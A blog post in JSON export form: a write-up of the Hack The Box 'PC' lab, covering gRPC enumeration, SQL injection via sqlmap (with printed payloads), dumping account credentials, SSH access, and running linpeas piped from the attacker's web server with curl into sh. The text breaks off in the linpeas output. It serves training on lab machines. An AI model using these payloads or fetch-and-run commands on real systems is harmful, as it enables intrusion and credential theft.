{"id":3072,"date":"2023-06-07T08:00:00","date_gmt":"2023-06-07T06:00:00","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3072"},"modified":"2023-10-20T15:06:42","modified_gmt":"2023-10-20T13:06:42","slug":"hack-the-box-pc-write-up","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/","title":{"rendered":"Hack The Box | PC | Write Up"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Hey there, Cyber Warriors! \ud83d\ude80<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cracking the code, stepping into the mind of the creator, and uncovering secrets no one else has discovered yet \u2014 this is the thrill of Capture The Flag (CTF) challenges, and today I&#8217;ll take you on a fascinating journey through one of the most compelling tasks in Hack The Box: &#8216;PC&#8217;. This isn&#8217;t your typical challenge; &#8216;PC&#8217; takes you to new heights, pushing you to explore not only the common low ports but also the less-traveled terrain of high ports.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"800\" height=\"690\" data-attachment-id=\"3074\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/image-13-4\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1396%2C1204&amp;ssl=1\" data-orig-size=\"1396,1204\" data-comments-opened=\"1\" data-image-title=\"image-13\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=800%2C690&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?resize=800%2C690&#038;ssl=1\" alt=\"\" class=\"wp-image-3074\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?w=1396&amp;ssl=1 1396w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?resize=300%2C259&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?resize=768%2C662&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<p class=\"wp-block-paragraph\">The first step we will do is perform a new scan with NMAP to discover which kind of ports and services could be running into the objetive:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nmap -sT -n -Pn -sV -T4 -v 10.10.11.214\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The result of the scan we have performed is weird because we just discovered one port open:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">To gather more information about this machine, we will perform a new scan but over all possible ports:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nmap -sT -n -Pn -sV -p- -v 10.10.11.214\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we have discovered a new port \u201c50051\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT      STATE SERVICE VERSION\n22\/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)\n50051\/tcp open  unknown\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at &lt;https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service&gt; :\nSF-Port50051-TCP:V=7.93%I=7%D=5\/31%Time=64767908%P=x86_64-pc-linux-gnu%r(N\nSF:ULL,2E,\"\\\\0\\\\0\\\\x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><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We need to search some information about the port and we can say this port is usually used for gRPC service.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>What is gRPC?\n\ngRPC (Google Remote Procedure Call) is an open-source high-performance RPC\n(Remote Procedure Call) framework developed by Google. It can run in any \nenvironment and allows for communication between services in a variety of \nways. Its use of HTTP\/2 for transport and Protocol Buffers for message \nserialization allows for fast, efficient communication between client and\nserver.\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After searching more information about how we can interact with this service I found this article by Microsoft:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/learn.microsoft.com\/en-us\/aspnet\/core\/grpc\/test-tools?view=aspnetcore-7.0\">https:\/\/learn.microsoft.com\/en-us\/aspnet\/core\/grpc\/test-tools?view=aspnetcore-7.0<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The article shows how we can use different tools to interact with the gRPC service. In my case I selected \u201cgrpcul\u201d tool. We can find more information in GitHub (<a href=\"https:\/\/github.com\/fullstorydev\/grpcurl\">https:\/\/github.com\/fullstorydev\/grpcurl<\/a>). Now we can download the tool in our Kali Linux through the next link:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/fullstorydev\/grpcurl\/releases\">https:\/\/github.com\/fullstorydev\/grpcurl\/releases<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s try to discover more information with grpcurl:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl 10.10.11.214:50051 describe\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>Failed to dial target host \"10.10.11.214:50051\": tls: first record does not look like a TLS handshake\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We need to force the plain text connection with grpcurl:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl -plaintext 10.10.11.214:50051 describe\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>SimpleApp is a service:\nservice SimpleApp {\n  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );\n  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );\n  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );\n}\ngrpc.reflection.v1alpha.ServerReflection is a service:\nservice ServerReflection {\n  rpc ServerReflectionInfo ( stream .grpc.reflection.v1alpha.ServerReflectionRequest ) returns ( stream .grpc.reflection.v1alpha.ServerReflectionResponse );\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We discovered new information. We can see that the server has an application running named \u201cSimpleApp\u201d and we can interact through different methods. Now, we will see which kind of data we need to send through each method:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>LoginUser: Method for login into the application with \u201cusername\u201d and \u201cpassword\u201d params.<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl -plaintext 10.10.11.214:50051 describe LoginUserRequest\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>LoginUserRequest is a message:\nmessage LoginUserRequest {\n  string username = 1;\n  string password = 2;\n}\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>RegisterUser: Method for register user into the application with \u201cusername\u201d and \u201cpassword\u201d params.<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl -plaintext 10.10.11.214:50051 describe RegisterUserRequest\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>RegisterUserRequest is a message:\nmessage RegisterUserRequest {\n  string username = 1;\n  string password = 2;\n}\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>GetInfo: Method for get information about some user with \u201cid\u201d param.<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl -plaintext 10.10.11.214:50051 describe getInfoRequest\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>getInfoRequest is a message:\nmessage getInfoRequest {\n  string id = 1;\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In this point we can check the \u201cgetInfo\u201d method with an example \u201cid\u201d to know some more information:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl -d '{\"id\":\"1\"}' -plaintext 10.10.11.214:50051 SimpleApp\/getInfo\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will receive some error from the application, might be we will need some authentication token:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"message\": \"Authorization Error.Missing 'token' header\"\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will try to create a new user. It could be a solution to check information about other users into the application or just to log into it:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl -d '{\"username\":\"example\", \"password\":\"example\"}' -vv -plaintext 10.10.11.214:50051 SimpleApp\/RegisterUser\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>Resolved method descriptor:\nrpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );\n\nRequest metadata to send:\n(empty)\n\nResponse headers received:\ncontent-type: application\/grpc\ngrpc-accept-encoding: identity, deflate, gzip\n\nEstimated response size: 35 bytes\n\nResponse contents:\n{\n  \"message\": \"Account created for user example!\"\n}\n\nResponse trailers received:\n(empty)\nSent 1 request and received 1 response\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After creating our new user we will try to connect to this application to get more information about our new user:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl -d '{\"username\":\"example\", \"password\":\"example\"}' -vv -plaintext 10.10.11.214:50051 SimpleApp\/LoginUser\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Apparently we can log in with the new user we have created and after logging in with new user we will receive important information like the token to use the method \u201cgetInfo\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Resolved method descriptor:\nrpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );\n\nRequest metadata to send:\n(empty)\n\nResponse headers received:\ncontent-type: application\/grpc\ngrpc-accept-encoding: identity, deflate, gzip\n\nEstimated response size: 17 bytes\n\nResponse contents:\n{\n  \"message\": \"Your id is 706.\"\n}\n\nResponse trailers received:\ntoken: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZXhhbXBsZSIsImV4cCI6MTY4NTcxMjYxOX0.PLDt1weY4ozJzlgZ_sngkh0hAWhqZ9K0ufeXNOA8rVg'\nSent 1 request and received 1 response\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we can get more information through the \u201cgetInfo\u201d method:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl -d '{\"id\":\"706\"}' -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZXhhbXBsZSIsImV4cCI6MTY4NTcxMjYxOX0.PLDt1weY4ozJzlgZ_sngkh0hAWhqZ9K0ufeXNOA8rVg' -vv -plaintext 10.10.11.214:50051 SimpleApp\/getInfo\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">But something happened and we will receive the next message from the application:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Resolved method descriptor:\nrpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );\n\nRequest metadata to send:\ntoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZXhhbXBsZSIsImV4cCI6MTY4NTcxMjYxOX0.PLDt1weY4ozJzlgZ_sngkh0hAWhqZ9K0ufeXNOA8rVg\n\nResponse headers received:\ncontent-type: application\/grpc\ngrpc-accept-encoding: identity, deflate, gzip\n\nEstimated response size: 19 bytes\n\nResponse contents:\n{\n  \"message\": \"Will update soon.\"\n}\n\nResponse trailers received:\n(empty)\nSent 1 request and received 1 response\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">But if we try with the \u201cID\u201d 1 we will see this message:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcurl -d '{\"id\":\"1\"}' -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZXhhbXBsZSIsImV4cCI6MTY4NTcxMjYxOX0.PLDt1weY4ozJzlgZ_sngkh0hAWhqZ9K0ufeXNOA8rVg' -plaintext 10.10.11.214:50051 SimpleApp\/getInfo\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"message\": \"The admin is working hard to fix the issues.\"\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In this point we will try to check the service with another tool. We will use \u201cgrpcui\u201d. This tools provide us one way to interact with \u201cgRPC\u201d service but with user interface. We can download it through GitHub \u201c<a href=\"https:\/\/github.com\/fullstorydev\/grpcui\/releases%E2%80%9D\">https:\/\/github.com\/fullstorydev\/grpcui\/releases\u201d<\/a>. After download the tool, we will create a new session to can interact with \u201cgRPC\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/grpcui -plaintext 10.10.11.214:50051\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After execute the command we will see the grpcui user interface to interact with the \u201cgRPC\u201d service. The next point is try to capture the \u201cgetInfo\u201d request to modify our petition and finally try to inject something:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"930\" data-attachment-id=\"3075\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/untitled-25\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled.png?fit=1460%2C1698&amp;ssl=1\" data-orig-size=\"1460,1698\" data-comments-opened=\"1\" data-image-title=\"Untitled\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled.png?fit=800%2C930&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled.png?resize=800%2C930&#038;ssl=1\" alt=\"\" class=\"wp-image-3075\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled.png?w=1460&amp;ssl=1 1460w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled.png?resize=258%2C300&amp;ssl=1 258w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled.png?resize=768%2C893&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled.png?resize=1321%2C1536&amp;ssl=1 1321w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Once we have completed our request, the next step is redirect it to burp suite with the navigator plugin \u201cFoxy Proxy\u201d. Before use it we need to configure our proxy into the configuration plugin:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"532\" data-attachment-id=\"3076\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/untitled-2-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2.png?fit=884%2C588&amp;ssl=1\" data-orig-size=\"884,588\" data-comments-opened=\"1\" data-image-title=\"Untitled-2\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2.png?fit=800%2C532&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2.png?resize=800%2C532&#038;ssl=1\" alt=\"\" class=\"wp-image-3076\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2.png?w=884&amp;ssl=1 884w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2.png?resize=768%2C511&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now we already have the request in our burp suite and we will try some sql injection. Why? because if you do your own research about this service is usually vulnerable a sql injection:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"506\" data-attachment-id=\"3077\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/untitled-3-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3.png?fit=2326%2C1472&amp;ssl=1\" data-orig-size=\"2326,1472\" data-comments-opened=\"1\" data-image-title=\"Untitled-3\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3.png?fit=800%2C506&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3.png?resize=800%2C506&#038;ssl=1\" alt=\"\" class=\"wp-image-3077\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3.png?w=2326&amp;ssl=1 2326w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3.png?resize=300%2C190&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3.png?resize=768%2C486&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3.png?resize=1536%2C972&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3.png?resize=2048%2C1296&amp;ssl=1 2048w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we going to send our request to the functionality \u201cRepeater\u201d to save this request as file:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"764\" data-attachment-id=\"3078\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/untitled-4-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4.png?fit=1710%2C1634&amp;ssl=1\" data-orig-size=\"1710,1634\" data-comments-opened=\"1\" data-image-title=\"Untitled-4\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4.png?fit=800%2C764&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4.png?resize=800%2C764&#038;ssl=1\" alt=\"\" class=\"wp-image-3078\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4.png?w=1710&amp;ssl=1 1710w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4.png?resize=300%2C287&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4.png?resize=768%2C734&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4.png?resize=1536%2C1468&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we have our request already saved:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"452\" data-attachment-id=\"3079\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/untitled-5-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?fit=2578%2C1456&amp;ssl=1\" data-orig-size=\"2578,1456\" data-comments-opened=\"1\" data-image-title=\"Untitled-5\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?fit=800%2C452&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?resize=800%2C452&#038;ssl=1\" alt=\"\" class=\"wp-image-3079\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?w=2578&amp;ssl=1 2578w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?resize=768%2C434&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?resize=1536%2C868&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?resize=2048%2C1157&amp;ssl=1 2048w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5.png?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we will perform a scan with sqlmap to try found some sql injection:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sqlmap -r pc.req\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After performing our scan we will see that the application is vulnerable to SQL Injection through the param \u201cid\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Parameter: JSON id ((custom) POST)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: {\"metadata\":&#91;{\"name\":\"token\",\"value\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZXhhbXBsZSIsImV4cCI6MTY4NTcxMjYxOX0.PLDt1weY4ozJzlgZ_sngkh0hAWhqZ9K0ufeXNOA8rVg\"}],\"data\":&#91;{\"id\":\"1 AND 8736=8736\"}]}\n\n    Type: time-based blind\n    Title: SQLite &gt; 2.0 AND time-based blind (heavy query)\n    Payload: {\"metadata\":&#91;{\"name\":\"token\",\"value\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZXhhbXBsZSIsImV4cCI6MTY4NTcxMjYxOX0.PLDt1weY4ozJzlgZ_sngkh0hAWhqZ9K0ufeXNOA8rVg\"}],\"data\":&#91;{\"id\":\"1 AND 4960=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000\/2))))\"}]}\n\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 3 columns\n    Payload: {\"metadata\":&#91;{\"name\":\"token\",\"value\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZXhhbXBsZSIsImV4cCI6MTY4NTcxMjYxOX0.PLDt1weY4ozJzlgZ_sngkh0hAWhqZ9K0ufeXNOA8rVg\"}],\"data\":&#91;{\"id\":\"-4905 UNION ALL SELECT CHAR(113,122,122,113,113)||CHAR(81,101,109,108,117,118,88,107,120,77,88,108,82,76,75,89,112,66,109,71,83,74,119,104,100,110,110,74,74,77,78,122,78,86,122,80,111,81,104,105)||CHAR(113,98,98,106,113)-- hDmD\"}]}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we already known that the application is vulnerable and we going to enumerate the tables of this database:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sqlmap -r pc.req -T SQLite --tables\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will receive two tables:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;13:16:57] &#91;INFO] fetching tables for database: 'SQLite_masterdb'\n&lt;current&gt;\n&#91;2 tables]\n+----------+\n| accounts |\n| messages |\n+----------+\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We found the accounts tables. We can dump the accounts information with \u201csqlmap\u201d too:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sqlmap -r pc.req -T SQLite -T accounts --dump\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will receive user and password we can use it with SSH:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Database: &lt;current&gt;\nTable: accounts\n&#91;2 entries]\n+------------------------+----------+\n| password               | username |\n+------------------------+----------+\n| admin                  | admin    |\n| REPLACED               | REPLACED |\n+------------------------+----------+\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can check if we can connect through SSH with the credentials we already have discovered:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2514\u2500$ ssh sau@10.10.11.214\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, we can reach the user flag:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"522\" data-attachment-id=\"3080\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/untitled-6-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6.png?fit=1306%2C852&amp;ssl=1\" data-orig-size=\"1306,852\" data-comments-opened=\"1\" data-image-title=\"Untitled-6\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6.png?fit=800%2C522&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6.png?resize=800%2C522&#038;ssl=1\" alt=\"\" class=\"wp-image-3080\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6.png?w=1306&amp;ssl=1 1306w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6.png?resize=300%2C196&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6.png?resize=768%2C501&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now we will enumerate this machine with Linpeas but first we will turn on our http server to transfer the script into the machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo python3 -m http.server 80\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we can execute the next command to execute linpeas in memory:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl &lt;http:\/\/10.10.16.64\/linpeas.sh&gt; | sh &gt;&gt; linpeas.log\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see the next processes running in the server:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Cleaned processes\n\u255a Check weird &amp; unexpected proceses run by root: &lt;https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#processes&gt;                                                                                                  \nroot         486  0.0  0.0   2488   512 ?        S    05:36   0:00  _ bpfilter_umh                                                                                                                                           \nroot           1  0.0  0.2 167996 11532 ?        Ss   05:36   0:02 \/sbin\/init\nroot         464  0.3  2.0 163632 80964 ?        S&lt;s  